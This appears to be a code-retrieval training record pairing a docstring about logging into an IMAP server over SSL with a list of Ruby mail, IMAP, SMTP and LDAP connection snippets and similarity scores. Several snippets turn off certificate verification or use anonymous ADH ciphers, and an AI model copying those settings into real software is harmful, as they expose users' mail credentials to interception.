\\\n \"ml\" \"✉\" \\\n \"replied\" \"↻\" \\\n \"sent\" \"⮩\" \\\n \"received\" \"⮪\" \\\n \"unprocessed\" \"🗷\" \\\nEOS\n\n\t\t\tnotmuchdir=Pathname.new(ENV['NOTMUCH'] ? ENV['NOTMUCH'] : @maildir)\n\t\t\tnotmuch=%Q{set nm_default_uri = \"notmuch://#{notmuchdir}\"\\n}\n\t\t\tload_virtual=\"<enter-command>source '$HOME/.mutt/config.rb mailboxes virtual |'<enter>\"\n\t\t\tnotmuch << <<EOS\n## +notmuch\n#set nm_query_window_duration=2\nset nm_query_window_timebase=\"week\" # or \"hour\", \"day\", \"week\", \"month\", \"year\"\nmacro index,pager x \"#{load_virtual}<change-vfolder>\" \"Change virtual folder\"\nmacro index,pager ,x \"#{load_virtual}<vfolder-from-query>\" \"Virtual folder query\"\nmacro index,pager \\\\Cx \"#{load_virtual}<enter-command>set sidebar_visible<enter><sidebar-toggle-virtual>\" \"Toggle the sidebar into virtual folders\"\nmacro index,pager X \"#{load_virtual}<change-vfolder>?\" \"List virtual mailboxes\"\nmacro index,pager,browser ,mv \"#{load_virtual}\" \"Add virtual mailboxes\"\nmacro index,pager,browser ,mV \"<enter-command>unvirtual-mailboxes *<enter>\" \"Clear virtual mailboxes\"\nbind browser X exit\n#These change '$nm_query_window_current_position'\nmacro index ,< \"<enter-command>set nm_query_window_duration=2<enter><vfolder-window-backward>\" \"virtual window backwad\"\nmacro index ,> \"<enter-command>set nm_query_window_duration=2<enter><vfolder-window-forward>\" \"virtual window forward\"\nmacro index ,= \"<enter-command>set nm_query_window_duration=0<enter><change-folder>^<enter>\" \"Reset query window duration\"\nbind index,pager ,lT entire-thread\n# :exec change-vfolder\nEOS\n\t\t\t# For now I want to activate the virtual folders only when I need them\n\t\t\t# notmuch+=mailboxes(:virtual)\n\n\t\t\to=\"\"\n\t\t\to+=sidebar if version =~ %r{\\+sidebar|\\+USE_SIDEBAR|mutt-patched/sidebar}\n\t\t\to+=attach_headers_color if version =~ /\\+attach_headers_color/\n\t\t\to+=notmuch if version =~ /\\+notmuch/\n\t\t\to+=zhooks if version =~ %r{\\+compress|\\+USE_COMPRESSED|features/compressed-folders}\n\t\t\to+=tag_transforms if version =~/\\+index_color/\n\t\t\to\n\t\tend",
"def notify_unflagged(_cell); end",
"def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end",
"def mark_as_unread(options={})\n update_receipts({:is_read => false}, options)\n end",
"def box msgs, box_char=@box_char, box_size=@box_size\n self.liner box_char, box_size\n [msgs].flatten.each do |text|\n text.each_line do |line|\n self.<< '# ' + box_char + ' ' + line.chomp + \"\\n\"\n end\n end\n self.liner box_char, box_size\n end",
"def collect_messages(email, password, label, criteria, save_attachments)\n messages = []\n\n gmail = Gmail.connect(email, password)\n\n begin\n criteria.each do |c|\n messages += fetch_messages(gmail, label, c, save_attachments)\n end\n rescue Exception => e\n puts e.inspect\n ensure\n gmail.logout\n end\n messages\n end",
"def imap_readmail\n q = Queue.new\n imap.search([imap_search_for]).each do |message_id|\n msg = imap.fetch(message_id, 'RFC822')[0].attr['RFC822']\n mail = Mail.new(msg)\n case_id = get_case_id(mail)\n e = Email.create(case_id: case_id, date: mail.date, is_sent: false, raw: MailCompressor.compress_mail(msg), to: @email_account.user_name, from: mail.from[0].to_s, subject: mail.subject, body: mail.text_part.body.to_s)\n q.push(e)\n imap.store(message_id, '+FLAGS', [:Seen])\n end\n return q\n end",
"def fetch_messages(gmail, label, criteria, save_attachments)\n mails = []\n gmail.mailbox(label).search(criteria).each do |email|\n subject = \"#{Mail::Encodings.value_decode(email.subject)}\"\n puts \"----------\"\n puts \"[#{email.uid}] #{subject}\"\n from = sender(email.from)\n to = recipients(email.to)\n attachments = attachments(email)\n body = extract_body(email)\n\n # TODO: saving attachments should be configurable\n if save_attachments && email.message.attachments.any?\n puts \"Attachments:\"\n email.message.attachments.each do |attachment|\n save_attachment(email, attachment)\n end\n end\n\n mails << { :uid => email.uid,\n :date => Time.parse(email.date),\n :subject => subject,\n :from => from,\n :to => to,\n :body => body,\n :attachments => attachments }\n end\n mails\n end",
"def delete_all(mailbox='INBOX')\n mailbox ||= 'INBOX'\n mailbox = Net::IMAP.encode_utf7(mailbox)\n\n start do |imap|\n info \"delete_all block\"\n info \"imap.uid_search #{batch} #{\"ALL\"}\"\n imap.uid_search(['ALL']).each do |uid|\n info \"imap.uid_store #{uid} #{\"+FLAGS\"} #{[Net::IMAP::DELETED]}\"\n imap.uid_store(uid, \"+FLAGS\", [Net::IMAP::DELETED])\n end\n info \"imap.expunge\"\n imap.expunge\n end\n end",
"def perform_action(message, multiline, mark_fn, on_fail_msg, tally_on_fail, abort_on_fail)\n line = \"#{message}... \"\n endline = \"...#{message} \"\n if multiline\n puts line\n else\n print line\n end\n $stdout.flush\n result = yield\n mark = mark_fn.nil? ? \"\" : mark_fn.call(result)\n # if multiline, put checkmark at full width\n print endline if multiline\n puts mark.to_s.rjust(WIDTH - line.length, \" \")\n unless result\n puts on_fail_msg unless on_fail_msg.nil?\n @failure_count += 1 if tally_on_fail\n # print out error messaging here if we've captured it\n terminate if abort_on_fail\n end\n result\nend",
"def login_banner(msg)\n if `which boxes`.chomp.empty?\n %(#{C_B};echo \"#{msg}\";#{C_0};echo;)\n else\n %(#{C_B};echo \"#{msg}\" | #{BOXES};#{C_0};echo;)\n end\n end",
"def each (order=[:debug, :error, :warning, :notice, :notify], &block)\n order.each {|o| m = @messages[o] and m.each(&block)}\n end",
"def handle(status, &block)\n inbox[status] = block\n end",
"def inbox\r\n @messages = current_user.inbox_messages\r\n session[:mail_box] = \"inbox\"\r\n render :action => \"messages\"\r\n end",
"def start(config=Mail::Configuration.instance, &block)\n raise ArgumentError.new(\"Mail::Retrievable#imap_start takes a block\") unless block_given?\n\n if settings[:enable_starttls] && settings[:enable_ssl]\n raise ArgumentError, \":enable_starttls and :enable_ssl are mutually exclusive. Set :enable_ssl if you're on an IMAPS connection. Set :enable_starttls if you're on an IMAP connection and using STARTTLS for secure TLS upgrade.\"\n end\n\n imap = Net::IMAP.new(settings[:address], settings[:port], settings[:enable_ssl], nil, false)\n\n imap.starttls if settings[:enable_starttls]\n\n if settings[:authentication].nil?\n imap.login(settings[:user_name], settings[:password])\n else\n # Note that Net::IMAP#authenticate('LOGIN', ...) is not equal with Net::IMAP#login(...)!\n # (see also http://www.ensta.fr/~diam/ruby/online/ruby-doc-stdlib/libdoc/net/imap/rdoc/classes/Net/IMAP.html#M000718)\n imap.authenticate(settings[:authentication], settings[:user_name], settings[:password])\n end\n\n yield imap\n ensure\n if defined?(imap) && imap && !imap.disconnected?\n imap.disconnect\n end\n end",
"def each(&blk)\n @flags.each(&blk)\n end",
"def move_to(mailbox, options = {})\n mailbox = mailbox.to_sym\n trash = mailbox == @user.mailbox_types[:deleted].to_sym\n default_options = {}\n add_mailbox_condition!(default_options, @type)\n if(!trash)\n #conditional update because sentmail is always sentmail - I believe case if the most widely supported conditional, mysql also has an if which would work as well but i think mysql is the only one to support it\n return update_mail(\"mail_items.trashed = false, mail_items.mailbox = \n CASE mail_items.mailbox\n WHEN '#{@user.mailbox_types[:sent].to_s}' THEN mail_items.mailbox\n ELSE '#{mailbox.to_s}'\n END\", default_options, options)\n end\n return update_mail(\"mail_items.trashed = true\", default_options, options)\n end",
"def receive(email, raw_email)\n # Find which info requests the email is for\n # We deliberately don't use Envelope-to here, so ones that are BCC\n # drop into the holding pen for checking.\n reply_info_requests = [] # XXX should be set?\n for address in (email.to || []) + (email.cc || [])\n reply_info_request = InfoRequest.find_by_incoming_email(address)\n reply_info_requests.push(reply_info_request) if reply_info_request\n end\n\n # Nothing found, so save in holding pen\n if reply_info_requests.size == 0 \n InfoRequest.holding_pen_request.receive(email, raw_email)\n return\n end\n\n # Send the message to each request, to be archived with it\n for reply_info_request in reply_info_requests\n reply_info_request.receive(email, raw_email)\n end\n end",
"def mark_all_messages_as_read(options={})\n RecipientsFor::ReaderInfo.where(\n reciveable_type: options[:reciveable].class.name,\n reciveable_id: options[:reciveable].id,\n ).update_all(read: true)\n end",
"def order_mailboxes(mblist)\n mailboxes = []\n\n # Most of the mailboxes are in the correct order, but we want to move\n # these ones to the front because they're displayed first in Gmail.\n # So we delete them from mblist and append to mailboxes.\n mailboxes << mblist.delete( mblist.find{ |m| m.name == 'INBOX' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Starred' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Important' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Sent Mail' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Drafts' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/All Mail' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Spam' } )\n mailboxes << mblist.delete( mblist.find{ |m| m.name == '[Gmail]/Bin' } )\n\n # Now put the rest of the mailboxes on the end.\n mailboxes.concat mblist\n\n return mailboxes\n end",
"def mail_text(&block)\n block.call\n end",
"def blocking_flag_for_editor(block, editor_name)\n case editor_name\n when /^emacsclient/\n '--no-wait' unless block\n when /^[gm]vim/\n '--nofork' if block\n when /^jedit/\n '-wait' if block\n when /^mate/, /^subl/\n '-w' if block\n end\nend",
"def run!\n @client.logger.debug('RuGGby::Action::Mark')\n\n mark = Packet::Outgoing::Mark.new\n @client.socket.write(mark)\n @block.call if @block\n end",
"def process(&after_each_message)\n Mail.all(read_only: false, delete_after_find: true) do |message|\n message.skip_deletion unless process_message(message)\n after_each_message.call(message) if after_each_message\n end\n end",
"def initialize\n @m = Net::IMAP.new(MAIL_HOST, MAIL_PORT, MAIL_SSL)\n @m.login(MAIL_USER, MAIL_PASS)\n @m.select('INBOX') \n rescue\n p 'Could not connect to IMAP Inbox: ' + $!\n exit\n end",
"def sync_messages\n Mail.connection do |imap|\n imap.select 'INBOX'\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n if Message.validity.eql? validity_id\n uids = imap.uid_search([\"NOT\", \"DELETED\"]).sort\n local_uids = Message.ids\n if uids != local_uids\n Sidekiq::Logging.logger.info \"*** Syncing Some ***\"\n new_ids = uids - local_uids\n deleted_ids = local_uids - uids\n unless new_ids.blank?\n fetchdata = imap.uid_fetch(new_ids, ['RFC822'])\n fetchdata.each do |rec|\n validity_id = imap.responses[\"UIDVALIDITY\"].last if imap.responses[\"UIDVALIDITY\"]\n msg = Message.new(uid: rec.attr['UID'], validity_id: validity_id, raw_message: rec.attr['RFC822'])\n msg.save\n end\n end\n self.sync_deleted(deleted_ids.map{|id| [validity_id,id].join ':'}) unless deleted_ids.blank?\n end\n else\n self.sync_all\n end\n Message.ids\n end\n end",
"def process_msgs\n end",
"def collect! &block\n collect(&block)\n ok!\n @messages\n end"
] |
[
"0.6881116",
"0.6369226",
"0.59382856",
"0.5781145",
"0.5588587",
"0.54510194",
"0.5292121",
"0.52253366",
"0.51770794",
"0.5174547",
"0.5079694",
"0.5017648",
"0.5015247",
"0.49903208",
"0.49552765",
"0.48115832",
"0.48081237",
"0.4769843",
"0.4767478",
"0.47563472",
"0.47428486",
"0.47295007",
"0.4662193",
"0.46306035",
"0.46298423",
"0.46258911",
"0.46144634",
"0.4601706",
"0.458202",
"0.4569009",
"0.45663399",
"0.45639622",
"0.45631978",
"0.4533982",
"0.45220593",
"0.45165038",
"0.4498461",
"0.44895697",
"0.44770834",
"0.44428667",
"0.44428337",
"0.44312206",
"0.44276953",
"0.44259593",
"0.4399007",
"0.43969977",
"0.43952623",
"0.43945795",
"0.43900776",
"0.43812215",
"0.43751952",
"0.43709356",
"0.43411285",
"0.43404093",
"0.4340019",
"0.43292668",
"0.4314559",
"0.43090022",
"0.42988235",
"0.4293886",
"0.4291948",
"0.42890128",
"0.42842215",
"0.42840648",
"0.42834216",
"0.4280751",
"0.42707506",
"0.427065",
"0.42698032",
"0.42631572",
"0.4258246",
"0.42536288",
"0.42512926",
"0.42349517",
"0.42346427",
"0.42346427",
"0.4232511",
"0.42320722",
"0.42314896",
"0.42140728",
"0.4210083",
"0.42070198",
"0.42069778",
"0.42034557",
"0.42009366",
"0.41909528",
"0.41897827",
"0.41897056",
"0.418942",
"0.418617",
"0.41733053",
"0.41725317",
"0.4166181",
"0.41639462",
"0.41593084",
"0.4157213",
"0.41556302",
"0.41548264",
"0.41544217",
"0.41494977"
] |
0.77104336
|
0
|
Connects to IMAP server +host+ at +port+ using ssl if +ssl+ is true then logs in as +username+ with +password+. IMAPClient will really only work with PLAIN auth on SSL sockets, sorry.
|
def connect(host, port, ssl, username, password, auth = nil)
@imap = Net::IMAP.new host, port, ssl, nil, false
log "Connected to #{host}:#{port}"
if auth.nil? then
auth_caps = @imap.capability.select { |c| c =~ /^AUTH/ }
raise "Couldn't find a supported auth type" if auth_caps.empty?
auth = auth_caps.first.sub(/AUTH=/, '')
end
auth = auth.upcase
log "Trying #{auth} authentication"
@imap.authenticate auth, username, password
log "Logged in as #{username}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def connect(host = @options[:Host],\n port = @options[:Port],\n ssl = @options[:SSL],\n username = @options[:Username],\n password = @options[:Password],\n auth = @options[:Auth]) # :yields: Connection\n imap = Net::IMAP.new host, port, ssl, nil, false\n log \"Connected to imap://#{host}:#{port}/\"\n\n capabilities = capability imap, imap.greeting\n\n log \"Capabilities: #{capabilities.join ', '}\"\n\n auth_caps = capabilities.select { |c| c =~ /^AUTH/ }\n\n if auth.nil? then\n raise \"Couldn't find a supported auth type\" if auth_caps.empty?\n auth = auth_caps.first.sub(/AUTH=/, '')\n end\n\n # Net::IMAP supports using AUTHENTICATE with LOGIN, PLAIN, and\n # CRAM-MD5... if the server reports a different AUTH method, then we\n # should fall back to using LOGIN\n if %w( LOGIN PLAIN CRAM-MD5 XOAUTH2 ).include?( auth.upcase )\n auth = auth.upcase\n log \"Trying #{auth} authentication\"\n res = imap.authenticate auth, username, password\n log \"Logged in as #{username} using AUTHENTICATE\"\n else\n log \"Trying to authenticate via LOGIN\"\n res = imap.login username, password\n log \"Logged in as #{username} using LOGIN\"\n end\n\n # CAPABILITY may have changed\n capabilities = capability imap, res\n\n connection = Connection.new imap, capabilities\n\n if block_given? then\n begin\n yield connection\n ensure\n connection.imap.logout\n end\n else\n return connection\n end\n end",
"def connect\n return if @connection\n retries = 0\n begin\n info \"connect to IMAP server #{settings[:address]}:#{settings[:port]}\"\n @connection = Net::IMAP.new(settings[:address], settings[:port], settings[:enable_ssl], nil, false)\n if settings[:authentication].nil?\n info \"login to IMAP server as #{settings[:user_name]}/#{settings[:password].gsub(/./, '*')}\"\n @connection.login(settings[:user_name], settings[:password])\n else\n # Note that Net::IMAP#authenticate('LOGIN', ...) is not equal with Net::IMAP#login(...)!\n # (see also http://www.ensta.fr/~diam/ruby/online/ruby-doc-stdlib/libdoc/net/imap/rdoc/classes/Net/IMAP.html#M000718)\n info \"authenticate on IMAP server as #{settings[:user_name]}/#{settings[:password].gsub(/./, '*')}\"\n @connection.authenticate(settings[:authentication], settings[:user_name], settings[:password])\n end\n rescue Errno::ECONNRESET,\n Errno::EPIPE,\n Errno::ETIMEDOUT,\n OpenSSL::SSL::SSLError => e\n warn \"rescue from #{e.class.name}: #{e.message} (continuing)\"\n raise unless (retries += 1) <= settings[:max_retries]\n\n # Special check to ensure that we don't retry on OpenSSL certificate\n # verification errors.\n raise if e.is_a?(OpenSSL::SSL::SSLError) && e.message =~ /certificate verify failed/\n warn \"#{e.class.name}: #{e.message} (retrying)\"\n reset\n sleep 1 * retries\n retry\n end\n rescue => e\n raise StandardError, \"#{e.class.name}: #{e.message} (cannot recover)\"\n end",
"def start_tls\n imap.starttls if @mailbox.start_tls\n end",
"def connect\n @connection = Net::IMAP.new(@options[:server], :port => @port, :ssl => @use_ssl)\n\n Mailman.logger.info \"CONNECTING TO #{@server}, #{@username} #{@password}\"\n @connection.authenticate(@options[:authenticate_with]||'LOGIN', @username, @password)\n unless @connection.list('', '%').any?{|mailbox| mailbox.name == 'Processed'}\n @connection.create('Processed')\n end\n Mailman.logger.info \"Connection established\"\n @connection.select 'INBOX'\n end",
"def establish_connection\n @connection = Net::IMAP.new(@server)\n @connection.authenticate(@authentication, @username, @password)\n end",
"def connect\n \tbegin\n imap = Net::IMAP.new(self.imap_address, port: self.imap_port, ssl: self.imap_ssl)\n if block_given?\n yield imap\n imap.logout\n else\n return imap\n end\n \trescue Errno::ECONNREFUSED\n \t\treturn false\n rescue Errno::ETIMEDOUT\n return false\n rescue Errno::ENETUNREACH\n return false\n rescue SocketError\n return false\n rescue Net::IMAP::ByeResponseError\n return false\n \tend\n end",
"def imap_login\n # grab email configuration from config file\n @imap_host = PATCHMINE_MAIL_CONFIG['imap_host']\n @imap_port = PATCHMINE_MAIL_CONFIG['imap_port']\n @imap_username = PATCHMINE_MAIL_CONFIG['imap_username']\n @imap_password = PATCHMINE_MAIL_CONFIG['imap_password']\n use_ssl, cert, verify = true, nil, false\n\n imap = Net::IMAP.new(@imap_host, @imap_port, use_ssl, cert, verify) if imap.nil?\n imap.authenticate('LOGIN', @imap_username, @imap_password)\n imap.select('INBOX')\n return imap\n end",
"def connection\n if @connection.nil? || @connection.disconnected?\n options = connection_args.first\n @connection = Net::IMAP.new(options[:host], options[:port], options[:use_ssl])\n @connection.login options[:user], options[:password]\n end\n @connection\n end",
"def imap\n @imap ||= Net::IMAP.new(@email_account.imap, {:port => @email_account.port, :ssl => @email_account.enable_ssl}).tap do |imap|\n imap.login(@email_account.user_name, @email_account.password)\n end\n\tend",
"def log_in\n imap.login(@mailbox.email, @mailbox.password)\n @logged_in = true\n end",
"def start_tls(host, ssl_socket_class, ssl_context); end",
"def connect\n tries ||= 5\n if @connection.nil? or @connection.disconnected?\n @connection = Net::IMAP.new(@server, port: @port, ssl: @ssl)\n if @starttls\n @connection.starttls\n end\n @connection.login(@username, @password)\n end\n @connection.select(@folder)\n rescue Net::IMAP::ByeResponseError, Net::IMAP::NoResponseError => e\n retry unless (tries -= 1).zero?\n end",
"def connect_login(global = true)\n pop2sock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"HELO #{user} #{pass}\\r\\n\")\n\n if (res !~ /messages/)\n print_status(\"Authentication failed\")\n return false\n end\n\n print_status(\"Messages: #{res}\")\n return true\n end",
"def imap_authenticate()\n imap_connect()\n @imap_client.authenticate('XOAUTH2', @user_data['email'],\n @access_token_obj.token)\n end",
"def connect_ssl; end",
"def ssl_connect()\n $log.debug(\"Initiating SSL Connect Test\")\n disable_validations\n s = timeout(@open_timeout) { TCPSocket.open(conn_address(), conn_port()) }\n s = OpenSSL::SSL::SSLSocket.new(s, @ssl_context)\n s.sync_close = true\n\n @socket = BufferedIO.new(s)\n @socket.read_timeout = @read_timeout\n @socket.debug_output = @debug_output\n\n if proxy?\n @socket.writeline sprintf('CONNECT %s:%s HTTP/%s', @address, @port, HTTPVersion)\n @socket.writeline \"Host: #{@address}:#{@port}\"\n @socket.writeline ''\n HTTPResponse.read_new(@socket).value\n end\n\n begin\n s.connect\n return ResultContainer.new(true, nil)\n rescue OpenSSL::SSL::SSLError => ex\n return ResultContainer.new(false, ex)\n rescue => ex2\n return ResultContainer.new(false, ex2)\n end\n end",
"def smtp_login\n @smtp_host = PATCHMINE_MAIL_CONFIG['smtp_host']\n @smtp_port = PATCHMINE_MAIL_CONFIG['smtp_port']\n @smtp_username = PATCHMINE_MAIL_CONFIG['smtp_username']\n @smtp_password = PATCHMINE_MAIL_CONFIG['smtp_password']\n\n smtp = Net::SMTP.new(@smtp_host, @smtp_port) if smtp.nil?\n smtp.enable_ssl\n smtp.start(smtp_domain, @smtp_username, @smtp_password)\n smtp\n end",
"def init_ssl\n ctx = OpenSSL::SSL::SSLContext.new\n ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_PEER)\n # We are overwriting the TCP socket with the SSL socket here.\n @socket = OpenSSL::SSL::SSLSocket.new(@socket, ctx)\n @socket.sync_close = true\n @socket.connect\n end",
"def login(luser, password)\n @sid = @connection.call(\"auth.login\", luser, password)\n end",
"def initialize\n @m = Net::IMAP.new(MAIL_HOST, MAIL_PORT, MAIL_SSL)\n @m.login(MAIL_USER, MAIL_PASS)\n @m.select('INBOX') \n rescue\n p 'Could not connect to IMAP Inbox: ' + $!\n exit\n end",
"def start(config=Mail::Configuration.instance, &block)\n raise ArgumentError.new(\"Mail::Retrievable#imap_start takes a block\") unless block_given?\n\n if settings[:enable_starttls] && settings[:enable_ssl]\n raise ArgumentError, \":enable_starttls and :enable_ssl are mutually exclusive. Set :enable_ssl if you're on an IMAPS connection. Set :enable_starttls if you're on an IMAP connection and using STARTTLS for secure TLS upgrade.\"\n end\n\n imap = Net::IMAP.new(settings[:address], settings[:port], settings[:enable_ssl], nil, false)\n\n imap.starttls if settings[:enable_starttls]\n\n if settings[:authentication].nil?\n imap.login(settings[:user_name], settings[:password])\n else\n # Note that Net::IMAP#authenticate('LOGIN', ...) is not equal with Net::IMAP#login(...)!\n # (see also http://www.ensta.fr/~diam/ruby/online/ruby-doc-stdlib/libdoc/net/imap/rdoc/classes/Net/IMAP.html#M000718)\n imap.authenticate(settings[:authentication], settings[:user_name], settings[:password])\n end\n\n yield imap\n ensure\n if defined?(imap) && imap && !imap.disconnected?\n imap.disconnect\n end\n end",
"def start_tls(plain_socket)\n ssl_socket_class.new(plain_socket, ssl_context).tap do |ssl_socket|\n ssl_socket.sync_close = true\n ssl_socket.connect\n end\n end",
"def connect\n ssl_socket.connect\n handshake.execute!\n end",
"def start\n case ssl\n when :tls\n @connection = LDAP::SSLConn.new(host, port, true)\n when true\n @connection = LDAP::SSLConn.new(host, port)\n else\n @connection = LDAP::Conn.new(host, port)\n end\n @connection.set_option(LDAP::LDAP_OPT_PROTOCOL_VERSION, 3)\n @connection.set_option(LDAP::LDAP_OPT_REFERRALS, LDAP::LDAP_OPT_ON)\n @connection.simple_bind(user, password)\n rescue => detail\n raise Puppet::Error, \"Could not connect to LDAP: #{detail}\"\n end",
"def with_open\n @imap = Net::IMAP.new(@imap_server, @imap_port, true, nil, false)\n log @imap.login(@username, @password)\n yield self\n close\n end",
"def with_open\n @imap = Net::IMAP.new(@imap_server, @imap_port, true, nil, false)\n log @imap.login(@username, @password)\n yield self\n close\n end",
"def connect(host=nil, user=nil, passwd=nil, db=nil, port=nil, socket=nil, flag=nil)\n @protocol = Protocol.new host, port, socket, @connect_timeout, @read_timeout, @write_timeout\n @protocol.authenticate user, passwd, db, (@local_infile ? CLIENT_LOCAL_FILES : 0) | (flag || 0), @charset\n @charset ||= @protocol.charset\n @host_info = (host.nil? || host == \"localhost\") ? 'Localhost via UNIX socket' : \"#{host} via TCP/IP\"\n query @init_command if @init_command\n return self\n end",
"def connect(host, port, options=nil, &block)\n if options.is_a?(Numeric) || options.nil?\n timeout = options || 5\n ssl = false\n elsif options\n timeout = options[:timeout] || 5\n ssl = options[:ssl]\n end\n connection = Connection.new(host, port, timeout, @unblocker, @clock)\n f = connection.connect\n @io_loop.add_socket(connection)\n @unblocker.unblock if running?\n if ssl\n f = f.flat_map do\n ssl_context = ssl == true ? nil : ssl\n upgraded_connection = SslConnection.new(host, port, connection.to_io, @unblocker, ssl_context)\n ff = upgraded_connection.connect\n @io_loop.remove_socket(connection)\n @io_loop.add_socket(upgraded_connection)\n @unblocker.unblock\n ff\n end\n end\n f = f.map(&block) if block_given?\n f\n end",
"def connect\n socket = TCPSocket.new(@server, @port.to_i)\n if @options[:ssl] == nil\n return socket\n end\n ssl_context = @options[:ssl]\n ssl_context = OpenSSL::SSL::SSLContext.new()\n unless ssl_context.verify_mode\n warn \"warning: peer certificate won't be verified this session.\"\n ssl_context.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context)\n ssl_socket.sync_close = true\n ssl_socket.connect\n return ssl_socket\n end",
"def ssl_credentials\n if Gruf.use_ssl\n private_key = File.read Gruf.ssl_key_file\n cert_chain = File.read Gruf.ssl_crt_file\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n else\n :this_port_is_insecure\n end\n end",
"def imap\n @imap ||= MailRoom::IMAP.new(@mailbox.host, :port => @mailbox.port, :ssl => @mailbox.ssl_options)\n end",
"def initialize(port = DEFAULT_SMTPD_PORT, host = DEFAULT_SMTPD_HOST, max_connections = DEFAULT_SMTPD_MAX_CONNECTIONS, opts = {})\n # logging\n if opts.include?(:logger)\n @logger = opts[:logger]\n else\n require 'logger'\n @logger = Logger.new(STDOUT)\n @logger.datetime_format = '%Y-%m-%d %H:%M:%S'\n @logger.formatter = proc { |severity, datetime, _progname, msg| \"#{datetime}: [#{severity}] #{msg.chomp}\\n\" }\n end\n # initialize class\n @tcpServerThread = nil\n @port = port\n @host = host\n @maxConnections = max_connections\n @connections = []\n @connectionsMutex = Mutex.new\n @connectionsCV = ConditionVariable.new\n\n # check for valid cert/key paths and set vars\n @tls_cert = opts[:cert] if opts.include?(:cert) && File.exist?(opts[:cert])\n @tls_key = opts[:key] if opts.include?(:key) && File.exist?(opts[:key])\n\n unless @tls_cert.nil? || @tls_cert.empty? ||\n @tls_key.nil? || @tls_key.empty?\n @tls = MidiSmtpTls.new(@tls_cert, @tls_key)\n end\n\n # next should prevent (if wished) to auto resolve hostnames and create a delay on connection\n BasicSocket.do_not_reverse_lookup = true\n # save flag if this smtp server should do reverse lookups\n @do_dns_reverse_lookup = opts.include?(:do_dns_reverse_lookup) ? opts[:do_dns_reverse_lookup] : true\n # check for authentification\n @auth_mode = opts.include?(:auth_mode) ? opts[:auth_mode] : :AUTH_FORBIDDEN\n raise \"Unknown authentification mode #{@auth_mode} was given by opts!\" unless AUTH_MODES.include?(@auth_mode)\n end",
"def ssl_credentials\n if options.fetch(:use_ssl, Gruf.use_ssl)\n private_key = File.read(options.fetch(:ssl_key_file, Gruf.ssl_key_file))\n cert_chain = File.read(options.fetch(:ssl_crt_file, Gruf.ssl_crt_file))\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n else\n :this_port_is_insecure\n end\n end",
"def connect!\n unless socket\n @socket = address.socket(timeout, ssl_opts)\n @socket.connect!\n end\n true\n end",
"def initialize(host, port = 389, login_dn, base_dn, password)\n @host = host\n @port = port\n @login_dn = login_dn\n @base_dn = base_dn\n @password = password\n\n return connect\n end",
"def getSslTcpConnection(host, port)\n store = OpenSSL::X509::Store.new\n store.add_file(OpenSSL::X509::DEFAULT_CERT_FILE)\n sslContext = OpenSSL::SSL::SSLContext.new\n sslContext.cert_store = store\n sslContext.ssl_version = :SSLv23\n sslSocket = OpenSSL::SSL::SSLSocket.new(TCPSocket.new(host, port), sslContext)\n sslSocket.hostname = host #for Server Name Indication (SNI)\n sslSocket.sync_close = true #instead of calling close on tcp socket\n sslSocket.connect\n sslSocket\nend",
"def connect(options = {})\n raise MiqException::MiqHostError, \"No credentials defined\" if missing_credentials?(options[:auth_type])\n\n auth_token = authentication_token(options[:auth_type])\n username = options[:user] || authentication_userid(options[:auth_type])\n password = options[:pass] || authentication_password(options[:auth_type])\n host = options[:host] || address\n port = options[:port] || self.port\n self.class.raw_connect(username, password, host, port).login\n end",
"def establish_connection\n @connection = Net::POP3.new(@server, @port)\n @connection.enable_ssl(OpenSSL::SSL::VERIFY_NONE) if @ssl\n @connection.start(@username, @password)\n end",
"def ssl_credentials\n return :this_port_is_insecure unless options.fetch(:use_ssl, Gruf.use_ssl)\n\n private_key = File.read(options.fetch(:ssl_key_file, Gruf.ssl_key_file))\n cert_chain = File.read(options.fetch(:ssl_crt_file, Gruf.ssl_crt_file))\n certs = [nil, [{ private_key: private_key, cert_chain: cert_chain }], false]\n GRPC::Core::ServerCredentials.new(*certs)\n end",
"def connect\n sock = TCPSocket.new(@host, @port)\n if @ssl\n sock = OpenSSL::SSL::SSLSocket.new(sock)\n sock.sync_close = true\n sock.connect\n sock.post_connection_check(@host) if @verify_ssl\n end\n sock\n end",
"def connect(global = true, opts={})\r\n\r\n self.sock = super(global, opts)\r\n\r\n if datastore['NRPESSL'] or @force_ssl\r\n ctx = OpenSSL::SSL::SSLContext.new(\"TLSv1\")\r\n ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE\r\n ctx.ciphers = \"ADH\"\r\n\r\n @ssl_socket = OpenSSL::SSL::SSLSocket.new(self.sock, ctx)\r\n\r\n @ssl_socket.connect\r\n\r\n self.sock.extend(Rex::Socket::SslTcp)\r\n self.sock.sslsock = @ssl_socket\r\n self.sock.sslctx = ctx\r\n end\r\n\r\n return self.sock\r\n end",
"def connect\n @conn ||= Net::LDAP.new\n @conn.host = @host\n @conn.port = @port\n @conn.auth \"#{@login_dn},#{@base_dn}\", @password\n\n if @conn.bind\n return true\n else\n return false\n end\n end",
"def start(io)\n # start SSL negotiation\n ssl = OpenSSL::SSL::SSLSocket.new(io, @ssl_context)\n # connect to server socket\n ssl.accept\n # make sure to close also the underlying io\n ssl.sync_close = true\n # return as new io socket\n return ssl\n end",
